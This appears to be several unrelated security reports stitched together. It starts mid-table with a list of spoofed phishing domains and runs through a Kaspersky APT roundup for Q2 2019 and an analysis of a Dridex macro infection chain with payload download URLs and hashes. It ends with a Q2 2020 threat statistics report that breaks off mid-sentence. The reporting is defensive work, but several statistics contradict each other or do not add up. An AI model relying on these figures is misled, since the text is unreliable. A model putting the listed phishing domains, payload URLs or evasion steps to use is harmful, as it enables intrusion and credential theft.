Hurriyet | webmail-hurriyet.com | | 12-Jun-16 | Hurriyet | mail-hurriyet.com | | 14-Nov-16 | Al Jazeera | account-aljazeera.net | | 14-Nov-16 | Al Jazeera | ssset-aljazeera.net | | 15-Nov-16 | Al Jazeera | sset-aljazeera.net | | 16-Nov-16 | Al Jazeera | sset-aljazeera.com | | 21-Nov-16 | Al Jazeera | mail-aljazeera.net | | 12-Jan-16 | Prime Minister of Turkey | e-post.byegm.web.tr | | 12-Jan-16 | Prime Minister of Turkey | mail.byegm.web.tr | | 01-Feb-16 | Prime Minister of Turkey | eposta.basbakanlik.qov.web.tr | | 01-Feb-16 | Parliament of Turkey | e-posta.tbmm.qov.web.tr | | 01-Mar-16 | Democratic Party (US) | myaccount.google.com-securitysettingpage.gq | | 01-Apr-16 | Democratic Party (US) | myaccount.google.com-changepasswordmyaccount-idx8jxcn4ufdmncudd.gq | | 22-Apr-16 | CDU (Germany) | webmail-cdu.de | | 06-May-16 | CDU (Germany) | support-cdu.de | | 06-Jun-16 | Democrat Party (US) | actblues.com | | 20-Oct-16 | Parliament of Montenegro | mail-skupstina.me | | 04-Mar-16 | Tartu University | mail.university-tartu.info | | 24-May-15 | Government of Montenegro | mail-gov.me | | 14-Sep-15 | Safety Board Netherlands | vpn.onderzoekraad.nl | | 28-Sep-15 | Safety Board Netherlands | sftp.onderzoekraad.nl | | 03-Nov-15 | Government of Montenegro | mail.g0v.me | | 10-Dec-14 | Westinghouse Nuclear | webmail.westinqhousenuclear.com | | 18-Jun-14 | Organization for Security and Co-operation in Europe | login-osce.org | | 23-Apr-15 | Partnership for Peace Information Management System | mail-pims.org | | 03-Aug-16 | World Anti-Doping Agency | mail.wada-awa.org | | 08-Aug-16 | World Anti-Doping Agency | inside.wada-arna.org | | 08-Aug-16 | Court of Arbitration for Sport | tas-cass.org | Trend Micro Incorporated, a global leader in security software, strives to make the world safe for exchanging digital information. Our innovative solutions for consumers, businesses, and governments provide layered content security to protect information on mobile devices, endpoints, gateways, servers, and the cloud. All of our solutions are powered by cloud-based global threat intelligence, the Trend Micro™ Smart Protection Network™, and are supported by over 1,200 threat experts around the globe. ©2017 by Trend Micro, Incorporated. All rights reserved. Trend Micro and the Trend Micro t-ball logo are trademarks or registered trademarks of Trend Micro, Incorporated. All other product or company names may be trademarks or registered trademarks of their owners.
# APT Trends Report Q2 2019 By GReAT For two years, the Global Research and Analysis Team (GReAT) at Kaspersky has been publishing quarterly summaries of advanced persistent threat (APT) activity. The summaries are based on our threat intelligence research and provide a representative snapshot of what we have published and discussed in greater detail in our private APT reports. They aim to highlight the significant events and findings that we feel people should be aware of. This is our latest installment, focusing on activities that we observed during Q2 2019. Readers who would like to learn more about our intelligence reports or request more information on a specific report are encouraged to contact [email protected]. ## The Most Remarkable Findings In April, we published our report on TajMahal, a previously unknown APT framework that has been active for the last five years. This is a highly sophisticated spyware framework that includes backdoors, loaders, orchestrators, C2 communicators, audio recorders, keyloggers, screen and webcam grabbers, documents, and cryptography key stealers; and even its own file indexer for the victim’s computer. We discovered up to 80 malicious modules stored in its encrypted Virtual File System – one of the highest numbers of plugins we have ever seen in an APT toolset. The malware features its own indexer, emergency C2s, the ability to steal specific files from external drives when they become available again, and much more. There are two different packages, self-named ‘Tokyo’ and ‘Yokohama’ and the targeted computers we found include both packages. We think the attackers used Tokyo as the first stage infection, deploying the fully functional Yokohama package on interesting victims, and then leaving Tokyo in place for backup purposes. So far, our telemetry has revealed just a single victim, a diplomatic body from a country in Central Asia. This begs the question, why go to all that trouble for just one victim? We think there may be other victims that we haven’t found yet. This theory is supported by the fact that we couldn’t see how one of the files in the VFS was used by the malware, opening the door to the possibility of additional versions of the malware that have yet to be detected. On May 14, FT reported that a zero-day vulnerability in WhatsApp had been exploited, allowing attackers to eavesdrop on users, read their encrypted chats, turn on the microphone and camera and install spyware that allows even further surveillance, such as browsing through a victim’s photos and videos, accessing their contact list and more. In order to exploit the vulnerability, the attacker simply needs to call the victim via WhatsApp. This specially crafted call can trigger a buffer overflow in WhatsApp, allowing an attacker to take control of the application and execute arbitrary code in it. Apparently, the attackers used this method to not only snoop on people’s chats and calls but also to exploit previously unknown vulnerabilities in the operating system, which allowed them to install applications on the device. The vulnerability affects WhatsApp for Android prior to 2.19.134, WhatsApp Business for Android prior to 2.19.44, WhatsApp for iOS prior to 2.19.51, WhatsApp Business for iOS prior to 2.19.51, WhatsApp for Windows Phone prior to 2.18.348 and WhatsApp for Tizen prior to 2.18.15. WhatsApp released patches for the vulnerability on May 13. Some have suggested that the spyware may be Pegasus, developed by Israeli company NSO. ## Russian-speaking Activity We continue to track the activities of Russian-speaking APT groups. These groups usually show a particular interest in political activities, but apart from a couple of interesting exceptions we failed to detect any remarkable examples during the last quarter. We did find a potential connection between Hades and a leak at the RANA institute. Hades is possibly connected to the Sofacy threat actor, most notable for being behind Olympic Destroyer, as well as ExPetr and several disinformation campaigns such as the Macron leaks. Earlier this year, a website named Hidden Reality published leaks allegedly related to an Iranian entity named the RANA institute. This was the third leak in two months that disclosed details of alleged Iranian threat actors and groups. Close analysis of the materials, the infrastructure and the dedicated website used by those behind the leak led us to believe that these leaks might be connected to Hades. This might be part of a disinformation campaign in which Hades helps to raise doubts about the quality of the information leaked in other cases from earlier this year. Zebrocy continued adding new tools to its arsenal using various kinds of programming languages. We found Zebrocy deploying a compiled Python script, which we call PythocyDbg, within a Southeast Asian foreign affairs organization: this module primarily provides for the stealthy collection of network proxy and communications debug capabilities. In early 2019, Zebrocy shifted its development efforts with the use of Nimrod/Nim, a programming language with syntax resembling both Pascal and Python that can be compiled down to JavaScript or C targets. Both the Nim downloaders that the group mainly uses for spear-phishing, and other Nim backdoor code, are currently being produced by Zebrocy and delivered alongside updated compiled AutoIT scripts, Go, and Delphi modules. The targets of this new Nimcy downloader and backdoor set includes diplomats, defense officials and ministry of foreign affairs staff, from whom they want to steal login credentials, keystrokes, communications, and various files. The group appears to have turned its attention towards the March events involving Pakistan and India, and unrelated diplomatic and military officials, while maintaining ongoing access to local and remote networks belonging to Central Asian governments. We also recently observed some interesting new artifacts that we relate to Turla with varying degrees of confidence. In April 2019, we observed a new COMpfun-related targeted campaign using new malware. The Kaspersky Attribution Engine shows strong code similarities between the new family and the old COMpfun. Moreover, the original COMpfun is used as a downloader in one of the spreading mechanisms. We called the newly identified modules Reductor after a .pdb path left in some samples. We believe the malware was developed by the same COMpfun authors that, internally, we tentatively associated with the Turla APT, based on victimology. Besides the typical RAT functions (upload, download, execute files), Reductor’s authors put a lot of effort into manipulating installed digital root certificates and marking outbound TLS traffic with unique host-related identifiers. The malware adds embedded root certificates to the target host and allows operators to add additional ones remotely through a named pipe. The solution used by Reductor’s developers to mark TLS traffic is the most ingenious part. The authors don’t touch the network packets at all; instead they analyze Firefox source and Chrome binary code to patch the corresponding system pseudo-random number generation (PRNG) functions in the process’s memory. Browsers use PRNG to generate the “client random” sequence during the very beginning of the TLS handshake. Reductor adds the victims’ unique encrypted hardware- and software-based identifiers to this “client random” field. Additionally, we identified a new backdoor that we attribute with medium confidence to Turla. The backdoor, named Tunnus, is .NET-based malware with the ability to run commands or perform file actions on an infected system and send the results to its C2. So far, the C2 infrastructure has been built using compromised sites with vulnerable WordPress installations. According to our telemetry, Tunnus’s activity started last March and was still active at the time of writing. ESET has also reported PowerShell scripts being used by Turla to provide direct, in-memory loading and execution of malware. This is not the first time this threat actor has used PowerShell in this way, but the group has improved these scripts and is now using them to load a wide range of custom malware from its traditional arsenal. The payloads delivered via the PowerShell scripts – the RPC backdoor and PowerStallion – are highly customized. Symantec has also been tracking targeted attacks in a series of campaigns against governments and international organizations across the globe over the past 18 months. The attacks have featured a rapidly evolving toolset and, in one notable instance, the apparent hijacking of infrastructure belonging to OilRig. They have uncovered evidence that the Waterbug APT group (aka Turla, Snake, Uroburos, Venomous Bear and KRYPTON) has conducted a hostile takeover of an attack platform belonging to OilRig (aka Crambus). Researchers at Symantec suspect that Turla used the hijacked network to attack a Middle Eastern government that OilRig had already penetrated. This is not the first time that we have seen this type of activity. Clearly, operations of this kind make the job of attribution more difficult. The international community continues to focus on the activity of Russian-speaking threat actors. Over the last 18 months, the UK has shared information on attacks attributed to Russian hackers with 16 NATO allies, including attacks on critical national infrastructure and attempts to compromise central government networks. In his former capacity as UK foreign secretary, Jeremy Hunt, recently urged nations to band together to create a deterrent for state-sponsored hackers. As part of this push, the UK and its intelligence partners have been slowly moving towards a ‘name and shame’ approach when dealing with cyberattacks. The use of the ‘court of public opinion’ in response to cyberattacks is a trend that we highlighted in our predictions for 2019. To help this new strategy the EU recently passed new laws that will make it possible for EU member states to impose economic sanctions against foreign hackers. Researchers at the Microstep Intelligence Bureau have published a report on targeted attacks on the Ukrainian government that they attribute to the Gamaredon threat actor. Recently, the group launched attacks on a number of state organizations in Ukraine using Pterodo, malware used exclusively by this group. Since February, the attackers have deployed a large number of dynamic domain names and newly registered domain names believed to be used to launch targeted attacks against elections in Ukraine. ## Chinese-speaking Activity We found an active campaign by a Chinese APT group we call SixLittleMonkeys that uses a new version of the Microcin Trojan and a RAT that we call HawkEye as a last stager. The campaign mainly targets government bodies in Central Asia. For persistence, the operators use .DLL search order hijacking. This consists of using a custom decryptor with a system library name (e.g., version.dll or api-ms-win-core-fibers-l1-1-1.dll) in directories, along with the legitimate applications that load these libraries into memory. Among other legitimate applications, the threat actor uses the Google updater, GoogleCrashHandler.exe, for .DLL hijacking. Custom encryptors protect the next stagers from detection on disk and from automated analysis, using the same encryption keys in different samples. For secure TLS communication with its C2, the malware uses the Secure Channel (Schannel) Windows security package. ESET discovered that the attackers behind the Plead malware have been distributing it using compromised routers and man-in-the-middle (MITM) attacks in April. Researchers have detected this activity in Taiwan, where the Plead malware has been most actively deployed. Trend Micro has previously reported the use of this malware in targeted attacks by the BlackTech group, primarily focused on cyber-espionage in Asia. ESET telemetry has revealed multiple attempts to deploy it. LuckyMouse activity detected by Palo Alto involved the attackers installing web shells on SharePoint servers to compromise government organizations in the Middle East, probably exploiting CVE-2019-0604, a remote code execution vulnerability used to compromise the server and eventually install a web shell. The actors uploaded a variety of tools that they used to perform additional activities on the compromised network, such as dumping credentials, as well as locating and pivoting to additional systems on the network. Of particular note is the group’s use of tools to identify systems vulnerable to CVE-2017-0144, the vulnerability exploited by EternalBlue and used in the 2017 WannaCry attacks. This activity appears to be related to campaigns exploiting CVE-2019-0604 mentioned in recent security alerts from the Saudi Arabian National Cyber Security Center and the Canadian Center for Cyber Security. Last year, a number of Chinese hackers allegedly linked to the Chinese government were indicted in the US. In May, the US Department of Justice indicted a Chinese national for a series of computer intrusions, including the 2015 data breach of health insurance company Anthem which affected more than 78 million people. ## Middle East The last three months have been very interesting for this region, especially considering the multiple leaks of alleged Iranian activity that were published within just a few weeks of each other. Even more interesting is the possibility that one of the leaks may have been part of a disinformation campaign carried out with the help of the Sofacy/Hades actor. In March, someone going by the handle Dookhtegan or Lab_dookhtegan started posting messages on Twitter using the hashtag #apt34. Several files were shared via Telegram that supposedly belonged to the OilRig threat actor. They included logins and passwords of several alleged hacking victims, tools, infrastructure details potentially related to different intrusions, the résumés of the alleged attackers and a list of web shells – apparently relating to the period 2014-18. The targeting and TTPs are consistent with this threat actor, but it was impossible to confirm the origins of the tools included in the dump. Assuming that the data in the dump is accurate, it also shows the global reach of the OilRig group, which has generally been thought to operate primarily in the Middle East. On April 22, an entity going by the alias Bl4ck_B0X created a Telegram channel named GreenLeakers. The purpose of the channel, as stated by its creator, was to publish information about the members of the MuddyWater APT group, “along with information about their mother and spouse and etc.”, for free. In addition to this free information, the Bl4ck_B0X actor(s) also hinted that “highly confidential” information related to MuddyWater would be put up for sale. On April 27, three screenshots were posted in the GreenLeakers Telegram channel, containing alleged screenshots from a MuddyWater C2 server. On May 1, the channel was closed to the public and its status changed to private. This was before Bl4ck_B0X had the chance to publish the promised information on the MuddyWater group. The reason for the closure is still unclear. Finally, a website named Hidden Reality published leaks allegedly related to an entity named the Iranian RANA institute. It was the third leak in two months disclosing details of alleged Iranian threat actors and groups. Interestingly, this leak differed from the others by employing a website that allows anyone to browse the leaked documents. It also relies on Telegram and Twitter profiles to post messages related to Iranian CNO capabilities. The Hidden Reality website contains internal documents, chat messages and other data related to the RANA institute’s CNO (Computer Network Operations) capabilities, as well as information about victims. Previous leaks were focused more on tools, source code and individual actor profiles. Close analysis of the materials, the infrastructure and the dedicated website used by the leakers, provided clues that led us to believe Sofacy/Hades may be connected to these leaks. There was also other MuddyWater activity unrelated to the leak, as well as discoveries linked to previous activity by the group, such as ClearSky’s discovery of two domains hacked by MuddyWater at the end of 2018 to host the code of its POWERSTATS malware. In April, Cisco Talos published its analysis of the BlackWater campaign, related to MuddyWater activity. The campaign shows how the attackers added three distinct steps to their operations, allowing them to bypass certain security controls to evade detection: an obfuscated VBA script to establish persistence as a registry key, a PowerShell stager and FruityC2 agent script, and an open source framework on GitHub to further enumerate the host machine. This could allow the attackers to monitor web logs and determine whether someone outside the campaign has made a request to their server in an attempt to investigate the activity. Once the enumeration commands run, the agent communicates with a different C2 and sends back data in the URL field. Trend Micro also reported MuddyWater’s use of a new multi-stage PowerShell-based backdoor called POWERSTATS v3. We published a private report about four Android malware families and their use of false flag techniques, among other things. One of the campaigns sent spear-phishing emails to a university in Jordan and the Turkish government, using compromised legitimate accounts to trick victims into installing malware. Regarding other groups, we discovered new activity related to ZooPark, a cyber-espionage threat actor that has focused mainly on stealing data from Android devices. Our new findings include new malicious samples and additional infrastructure that has been deployed since 2016. This also led to us discovering Windows malware implants deployed by the same threat actor. The additional indicators we found shed some light on the targets of past campaigns, including Iranian Kurds – mainly political dissidents and activists. Recorded Future published an analysis of the infrastructure built by APT33 (aka Elfin) to target Saudi organizations. Following the exposure of a wide range of their infrastructure and operations by Symantec in March, researchers at Recorded Future discovered that APT33, or closely aligned actors, reacted by either parking or reassigning some of their domain infrastructure. The fact that this activity was executed just a day or so after the report went live suggests the Iranian threat actors are acutely aware of the media coverage of their activities and are resourceful enough to be able to react in a quick manner. Since then the attackers have continued to use a large swath of operational infrastructure, well in excess of 1,200 domains, with many observed communicating with 19 different commodity RAT implants. An interesting development appears to be their increased preference for njRAT, with over half of the observed suspected APT33 infrastructure being linked to njRAT deployment. On a more political level, there were several news stories covering Iranian activity. A group connected to the Iranian Revolutionary Guard has been blamed for a wave of cyber-attacks against UK national infrastructure, including the Post Office, local government networks, private companies and banks. Personal data of thousands of employees were stolen. It is believed that the same group was also responsible for the attack on the UK parliamentary network in 2017. The UK NCSC (National Cyber Security Centre) is providing assistance to affected organizations. Microsoft recently obtained a court order in the US to seize control of 99 websites used by the Iranian hacking group APT35 (aka Phosphorus and Charming Kitten). The threat actor used spoofed websites, including those of Microsoft and Yahoo, to conduct cyberattacks against businesses, government agencies, journalists and activists who focus on Iran. The sinkholing of these sites will force the group to recreate part of its infrastructure. The US Cybersecurity and Infrastructure Security Agency (CISA) has reported an increase in cyberattacks by Iranian actors or proxies, targeting US industries and government agencies using destructive wiper tools. The statement was posted on Twitter by CISA director, Chris Krebs. ## Southeast Asia and Korean Peninsula This quarter we detected a lot of Korean-related activity. However, for the rest of the Southeast Asian region there has not been that much activity, especially when compared to earlier periods. Early in Q2, we identified an interesting Lazarus attack targeting a mobile gaming company in South Korea that we believe was aimed at stealing application source code. It’s clear that Lazarus keeps updating its tools very quickly. Meanwhile, BlueNoroff, the Lazarus sub-group that typically targets financial institutions, targeted a bank in Central Asia and a crypto-currency business in China. In a recent campaign, we observed ScarCruft using a multi-stage binary to infect several victims and ultimately install a final payload known as ROKRAT – a cloud service-based backdoor. ScarCruft is a highly skilled APT group, historically using geo-political issues to target the Korean Peninsula. We found several victims worldwide identified as companies and individuals with ties to North Korea, as well as a diplomatic agency. Interestingly, we observed that ScarCruft continues to adopt publicly available exploit code in its tools. We also found an interesting overlap in a Russian-based victim targeted both by ScarCruft and DarkHotel – not the first time that we have seen such an overlap. ESET recently analyzed a new Mac OS sample from the OceanLotus group that had been uploaded to VirusTotal. This backdoor shares its features with a previous Mac OS variant, but the structure has changed and detection is now much harder. Researchers were unable to find the dropper associated with this sample, so they could not identify the initial compromise vector. The US Department of Homeland Security (DHS) has reported Trojan variants, identified as HOPLIGHT, being used by the North Korean government. The report includes an analysis of nine malicious executable files. Seven of them are proxy applications that mask traffic between the malware and the remote operators. The proxies have the ability to generate fake TLS handshake sessions using valid public SSL certificates, disguising network connections with remote malicious actors. One file contains a public SSL certificate and the payload of the file appears to be encoded with a password or key. The remaining file does not contain any of the public SSL certificates, but attempts outbound connections and drops four files: the dropped files primarily contain IP addresses and SSL certificates. In June, we came across an unusual set of samples used to target diplomatic, government and military organizations in countries in South and Southeast Asia. The threat actor behind the campaign, which we believe to be the PLATINUM APT group, uses an elaborate, previously unseen, steganographic technique to conceal communication. A couple of years ago, we predicted that more and more APT and malware developers would use steganography, and this campaign provides proof: the actors used two interesting steganography techniques in this APT. It’s also interesting that the attackers decided to implement the utilities they need as one huge set – an example of the framework-based architecture that is becoming more and more popular. ## Other Interesting Discoveries On May 14, Microsoft released fixes for a critical Remote Code Execution vulnerability (CVE-2019-0708) in Remote Desktop Services (formerly known as Terminal Services) that affects some older versions of Windows: Windows 7, Windows Server 2008 R2, Windows Server 2008 and some unsupported versions of Windows – including Windows 2003 and Windows XP. Details on how to mitigate this vulnerability are available in our private report ‘Analysis and detection guidance for CVE-2019-0708’. The Remote Desktop Protocol (RDP) itself is not vulnerable. This vulnerability is pre-authentication and requires no user interaction. In other words, the vulnerability is ‘wormable’, meaning that any future malware that exploits this vulnerability could propagate from vulnerable computer to vulnerable computer in a similar way that WannaCry spread. Microsoft has not observed exploitation of this vulnerability, but believes it is highly likely that malicious actors will write an exploit for it. Early in June, researchers at Malwarebytes Labs observed a number of compromises on Amazon CloudFront, a Content Delivery Network (CDN), where hosted JavaScript libraries were tampered with and injected with web skimmers. Although attacks that involve CDNs usually affect a large number of web properties at once via their supply chain, this isn’t always the case. Some websites either use Amazon’s cloud infrastructure to host their own libraries or link to code developed specifically for them and hosted on a custom AWS S3 bucket. Without properly validating externally loaded content, these sites are exposing their users to various threats, including some that pilfer credit card data. After analyzing these breaches, researchers found that they are a continuation of a campaign from Magecart threat actors attempting to cast a wide net around many different CDNs. CDNs are widely used because they provide great benefits to website owners, including optimizing load times and cost, as well as helping with all sorts of data analytics. The sites they identified had nothing in common other than the fact they were all using their own custom CDN to load various libraries. In effect, the only resulting victims of a compromise on their CDN repository would be themselves. Dragos has reported that XENOTIME, the APT group behind the TRISIS (aka TRITON and HatMan) attack on a Saudi Arabian petro-chemical facility in 2017, has expanded its focus beyond the oil and gas industries. Researchers have recently seen the group probing the networks of electric utility organizations in the US and elsewhere – perhaps as a precursor to a dangerous attack on critical infrastructure that could potentially cause physical damage or loss of life. Dragos first noticed the shift in targeting in late 2018; and the attacks have continued into 2019. We recently reported on the latest versions of FinSpy for Android and iOS, developed in mid-2018. This surveillance software is sold to government and law enforcement organizations all over the world, who use it to collect a variety of private user information on various platforms. WikiLeaks first discovered the implants for desktop devices in 2011 and mobile implants were discovered in 2012. Since then Kaspersky has continuously monitored the development of this malware and the emergence of new versions in the wild. Mobile implants for iOS and Android have almost the same functionality. They are capable of collecting personal information such as contacts, messages, emails, calendars, GPS location, photos, files in memory, phone call recordings and data from the most popular messengers. The Android implant includes functionality to gain root privileges on an unrooted device by abusing known vulnerabilities. It would seem that the iOS solution doesn’t provide infection exploits for its customers: the product seems to be fine-tuned to clean traces of publicly available jailbreaking tools. This might imply that physical access to the victim’s device is required in cases where devices are not already jailbroken. The latest version includes multiple features that we haven’t observed before. During our recent research, we detected up-to-date versions of these implants in the wild in almost 20 countries, but the size of the customer base would suggest that the real number of victims may be much higher. ## Final Thoughts APT activity in the Middle East has been particularly interesting this quarter, not least because of the leaks related to alleged Iranian activity. This is especially interesting because one of those leaks might have been part of a disinformation campaign carried out with the help of the Sofacy/Hades threat actor. In contrast to earlier periods, when Southeast Asia was the most active region for APTs, the activities we detected this quarter were mainly Korean-related. For the rest of the region, it was a much quieter quarter. Across all regions, geo-politics remains the principal driver of APT activity. It is also clear from our FinSpy research that there is a high demand for ‘commercial’ malware from governments and law enforcement agencies. One of the most noteworthy aspects of the APT threat landscape we reported this quarter was our discovery of TajMahal, a previously unknown and technically sophisticated APT framework that has been in development for at least five years. This full-blown spying framework includes up to 80 malicious modules stored in its encrypted Virtual File System – one of the highest numbers of plugins we’ve ever seen for an APT toolset. As always, we would note that our reports are the product of our visibility into the threat landscape. However, it needs to be borne in mind that, while we strive to continually improve, there is always the possibility that other sophisticated attacks may fly under our radar.
# Dridex: The Secret in a PostMessage() Dridex is a well-known banking malware that has been around since 2014. The developers behind it are always at the forefront of innovation and capable of routinely coming up with new tricks. ## Taking a Closer Look ### Dridex Phishing Email In this campaign (still active at the time of writing), Dridex comes packaged as a zip file, pretending to be a DHL Document. The lure, directed at safeguard-technology.com, is rather simple and not articulate. The attached zip file contains a Word Document laced with a malicious macro. Opening the document starts the infection chain, and this is where things get really interesting. To understand the general behavior, we started by running the sample through ReaQta-Hive. ### Dridex Behavior as Tracked by ReaQta-Hive At first glance, it might not look like much – just another WMI execution via Macro – but behind the scenes, Dridex does something interesting. Though the wmic.exe inspection panel shows an empty command line, and the edge connecting winword.exe to wmic.exe doesn’t show any sign of alteration – like a process impersonation or code injection – the WMI somehow starts rundll32.exe. The behavioral tree gives us clues into this. We can observe a possible anomaly: an instance of notepad.exe pops out from winword.exe. By zooming in, we also see that notepad opens a .txt file. The file being processed by notepad is called may_befall.txt. Analyzing the Macro’s code helps better explain what is happening. ### Dridex Macro Analysis The macro code is obfuscated along the lines of Pride and Prejudice. The developers probably felt poetic. This kind of obfuscation is also more pleasant to the eye of the analysts. Below we can see where the .txt file opened by notepad is created. This file is actually an xsl containing the code that is used by wmic.exe to download and run its malicious Dridex payload. Additional Macro code analysis shows what is really happening, it can be summarized in this way: 1. The macro creates an instance of notepad.exe. 2. By using several calls to PostMessageA(), the macro writes the xsl payload in a .txt file. 3. The macro then renames the .txt to .xsl. 4. wmic.exe is started by the macro. 5. The macro searches the wmic console by calling FindWindowExA() using consolewindowclass. 6. Data to the wmic console is again sent using PostMessageA(). 7. wmic.exe runs a squiblytwo attack. 8. wmic.exe downloads and drops the malicious Dridex dlls. 9. wmic.exe finally runs rundll32.exe. Below is a high-level view of the macro’s workflow: The malicious payload is downloaded from 2 URLs: 1. `https://batriaruum.com/dasruol.dll` 2. `https://penotorc.com/topwin.dll` ### Why the Dridex Developers Go Down This Convoluted Path There are several possible answers: 1. To hide the command line and thus prevent static detection, such as from automated Threat Hunting on command line parameters. 2. To prevent triggering SIEM’s correlation rules. 3. To bypass application whitelisting (AWL) solutions. Indeed, the technique is quite effective to thwart such analyses, as the command line doesn’t show anything anomalous. Also, the payloads are written on disk from a trusted process, which might further prevent detection from certain security solutions. We notice that Dridex behavior changed between the 5th and the 9th of June 2020. Before these dates, Dridex was adopting a much simpler technique where rundll32.exe was launched directly. ## Conclusions Attackers keep evolving at an incredible pace and they are increasingly more creative in their approach. Behavioral monitoring and continuous endpoint monitoring help organizations remain safe and prevent interruption to business continuity, even when facing new and previously unknown threats or techniques. With a large part of the workforce now operating from home, traditional enterprise defense systems are less effective, and attention must be pointed towards those devices that are targeted more often. Behavioral monitoring, infrastructural modeling, and automated threat hunting are some of the most important features provided by ReaQta-Hive. Our security experts can help if you suspect that your infrastructure has been breached or if you need to step up your cyber security posture. ### MITRE ATT&CK Techniques - Execution: T1047, T1204, T1064, T1085 - Defense Evasion: T1055, T1107, T1064, T1085 - C2: T1043 ### ReaQta-Hive MITRE ATT&CK Mapping **IOC** - `https://batriaruum.com/dasruol.dll` - `https://penotorc.com/topwin.dll` - ca381193229b547475e5724d5ea9f202b92f72836e9ada71ebad288845de2bbf - 7a6e5af86297a254911aff6610aca9bee0fff349434cad5fe76314e51acd66f9 - a50a9733f36b1f444efc7336f490d49199f61f34643f9125908bd47b6fcd173b - c45e738d6348324dac8cfedf451e8cb67b35d2ba2ef4c2f1cb7c004ce88edddd - fcc719b587b940009970177f33e85f96973983387c3ea19c698c720935d88af4 - 49a686549e78ad7d432af8a8a70973912e569cc1ca1dbe9de49909ed5247c634 - 54d2448355d298c883e885dcf56ee943fa926ba42c46bb8d06722772653619b1 - 84567037059c961a3ad1e6dffdf598a4c887df6d65b31e9257a7de8a75db9440 - 500be83e6624af2302e45bc91e026b776d72824cf84896839e03251c41394110 - 89560994f6d6f2717bcb92d4076704690af2d3df30ca7218fd3482903c9719b8 - 94737e6b49496356b1df987c498bc4e4f07551d803be346d37cbc33d6cb1cf2d
# Cybersecurity Threatscape Q2 2020 ## Executive Summary Highlights of Q2 2020 include: - The number of cyber incidents is continuing to grow. In Q2 2020, we detected 9 percent more attacks than in Q1 2020. Most attacks in the first two quarters of the year happened in April and May, at the height of the COVID-19 pandemic. - The percentage of attacks targeting industrial companies has increased significantly. In attacks on organizations, industrial companies were attacked in 15 percent of cases, compared to 10 percent in Q1. Ransomware operators and cyberespionage APT groups are among those who seem to be the most interested in industrial companies. - Among social engineering attacks, 16 percent capitalized on the COVID-19 pandemic. More than a third (36%) of such attacks were not related to any specific industry, 32 percent targeted individuals, and 13 percent were aimed at government institutions. - In the cybercriminal world, the demand for credentials is growing. Of the total amount of data stolen in attacks against organizations, the share of credentials has doubled in comparison with Q1. The most common credential theft scenarios include exploitation of web vulnerabilities, phishing emails, malware infection, and bruteforcing of credentials for services on the network perimeter of companies. - In attacks on organizations, exploitation of software vulnerabilities and configuration flaws accounted for 18 percent, compared to 9 percent in Q1. Internet-accessible corporate network resources are especially attractive to attackers. Criminals have been actively exploiting vulnerabilities in remote access systems from Palo Alto, Pulse Secure, and Citrix. - Ransomware trojans were present in 39 percent of malware attacks on organizations. A quarter of ransomware attacks on organizations targeted industrial companies. Attackers continue to threaten disclosure of stolen data if victims refuse to pay. LockBit, Ragnar Locker, and Maze operators have joined forces in a so-called Maze cartel to sell stolen data. - Besides ransomware operators, other threat actors now blackmail victims with disclosure of stolen data and the prospect of fines for violating the General Data Protection Regulation (GDPR). To protect from cyberattacks, we recommend following our guidelines for ensuring personal and corporate cybersecurity. Whether you continue to work remotely or go back to your usual routine, remember that criminals are always on the lookout for easy prey. They regularly update malicious tactics and techniques so that their actions remain unnoticed in infrastructure for a long time. A web application firewall (WAF), proper incident management, deep analysis of network traffic, as well as use of sandbox and SIEM solutions can help to detect attacks in time. SIEM capabilities provide constant monitoring of infrastructure security incidents, detection of sophisticated attacks on domains, and support for secure remote work. ## Statistics In Q2, the number of attacks increased by 9 percent compared to Q1 — and by 59 percent compared to Q2 2019. Significant world events consistently lead to increases in cybercrime, as they provide fertile ground for social engineering attacks. April and May 2020 were record-breaking in terms of successful cyberattacks. This sharp increase was spurred by epidemiological and economic crisis. - 9% more cyberattacks than in Q1 2020 ### Attackers' Motives - Access to information: 72% - Financial profit: 32% - Hacktivism: 5% - Cyberwar: 2% - Unknown: 1% ### Types of Data Stolen - Credentials: 63% - Personal data: 14% - Corporate secrets: 12% - Client databases: 18% - Payment card information: 2% - Medical records: 5% - Personal correspondence: 1% - Other: 3% ### Victim Categories Among Organizations - Government: 16% - IT: 21% - Manufacturing and industry: 18% - Retail: 5% - Healthcare: 6% - Finance: 7% - Other: 6% - Multiple industries: 6% ### Attack Targets (Percentage of Attacks) - Computers, servers, and network equipment: 66% - People: 40% - Web resources: 20% - Mobile devices: 3% - IoT: 1% - Other: 2% ## Malware Attacks Attackers tend to infect victims with a whole array of trojans, not just a single piece of malware. In one mass malware campaign, criminals delivered LokiBot spyware to victims' computers to steal saved user credentials from various applications. In addition, LokiBot downloaded Jigsaw ransomware to compromised devices. Ransomware and spyware are the most common trojans used in malware attacks. In Q2, they accounted for 39 percent and 34 percent of all malware attacks on organizations, respectively. ### Types of Malware (Percentage of Malware-Related Attacks) - Ransomware: 39% - Spyware: 34% - RATs: 17% - Droppers: 6% - Banking Trojans: 3% - Miners: 8% - Adware: 1% - Other: 1% ### Malware Distribution Methods - Email: 2% - Compromise of computers, servers, and network equipment: 74% - Websites: 6% - Official app stores: 3% - Fake updates: 4% - Other: 24% ## Industrial Companies in the Crosshairs In attacks on organizations, industrial companies were targeted in 15 percent of cases (compared to 10% in Q1). In nine out of ten cases, attackers used malware. About half of malware attacks (46%) involved ransomware, and 41 percent of attacks used spyware trojans. Phishing emails and exploitation of network perimeter vulnerabilities were the initial vectors of attacks on industrial companies. According to Bad Packets, the Sodinokibi operators penetrated the corporate network of Elexon by exploiting vulnerability CVE-2019-11510 in the Pulse Secure VPN. ## COVID-19 as a Social Engineering Ruse In Q2, attackers have been actively exploiting COVID-19 concerns. COVID-19 was leveraged in 16 percent of social engineering attacks. More than a third (36%) of such attacks were not related to any specific industry, while 32 percent of attacks targeted individuals. Government institutions were targeted in 13 percent of COVID-19 social engineering attacks. ## On the Hunt for Credentials Thirty percent of all data stolen in attacks on organizations were credentials, an increase from 15 percent in Q1. Corporate credentials are the most valuable kind of information for attackers. Criminals sell them on the dark web or use them for further attacks, such as imitating the hacked company to send emails with malicious attachments. ### Categories of Victims of Credential Compromise (In Attacks on Organizations) - Online services: 15% - Science and education: 14% - Retail: 29% - Healthcare: 11% - Hospitality and entertainment: 3% - Finance: 3% - IT: 5% - Other: 8% - Manufacturing and industry: 5% - Multiple industries: 7% ## Network Perimeter Resources Under Attack In Q2 2020, the COVID-19 pandemic and shift to remote work have led to an increase in attacks on vulnerabilities in web-accessible corporate services. As a result, the share of attacks exploiting software vulnerabilities and configuration flaws has increased to 18 percent in Q2 (compared to 9 percent in Q1). ## Ransomware Collaboration Ransomware is one of the fastest-growing varieties of 